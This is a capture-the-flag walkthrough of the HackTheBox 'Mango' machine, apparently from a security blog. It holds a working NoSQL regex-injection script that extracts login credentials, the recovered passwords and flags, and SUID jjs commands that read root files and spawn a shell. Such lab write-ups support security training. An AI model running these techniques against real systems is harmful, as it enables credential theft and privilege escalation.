Hackthebox - Mango

Summary

Mango,a Linux box created by HackTheBox user MrR3boot, was an overall medium difficulty box. Initial foothold was finding credentials using NoSQL injection. which drop us some creds using them we can ssh on the box and then use the other cred (admin) to get user. Privilege Escalation on this box was using jjs.

Enumeration

Lets start with nmap scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Nmap 7.80 scan initiated Tue Nov  5 12:01:48 2019 as: nmap -sC -sV -oN nmap/mango 10.10.10.162
Nmap scan report for 10.10.10.162
Host is up (0.14s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov 5 12:02:21 2019 -- 1 IP address (1 host up) scanned in 33.19 seconds

This leak few domains to us

1
2
mango.htb
staging-order.mango.htb

Looking on the staging-order.mango.htb

User

The name of the box rhyme with mongodb which i found really silly, enumerating keeping that in mind we see that the login page is vulnerable to NoSQL injection.

we can extract data with the payload as

1
username[$regex]=.*&password[$regex]=.*&login=login

The previous payload will login if exist any username with any password (so login always). As you can see in the following image, a ​ status code of 302 is returned​ , but, if you send any other username & password​ to login, a status code of ​ 200 ​ is returned. This means that we can ​ extract ​ the ​ usernames ​ and ​ password ​ looking to the ​ status code​ returned.

To atomate this process i wrote a python script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import string
url = "http://staging-order.mango.htb/"
headers = {"Host": "staging-order.mango.htb"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"","login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers,cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\","")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames():
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*","login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers,cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 +".*"
if int(requests.post(url, data=params,headers=headers, cookies=cookies, verify=False,allow_redirects=False).status_code) == 302:
username += c2
print(username)
break
if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames

for u in get_usernames():
get_password(u)

Which extract the credentials as

1
2
admin : t9KcS3>!0B#2
mango : h3mXK8RhU~f{]f5H

Using that on ssh we can ssh as mango once in the box i try to su to admin and voila i have user. and can access user.txt as cf71b25404be5d84fd827e05f426e987

Privilege Escalation

Running lse on the box we see

we see jjs has suid bit set so we can read root.txt

1
2
3
4
echo 'var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }' | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

we can get a shell using

1
2
echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | /usr/
lib/jvm/java-11-openjdk-amd64/bin/jjs

and grab root.txt as 8a8ef79a7a2fbb01ea81688424e9ab15

and we have pwned Mango 💃

Author: Shubham Kumar
Link: https://f3v3r.in/htb/machines/retired/mango/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.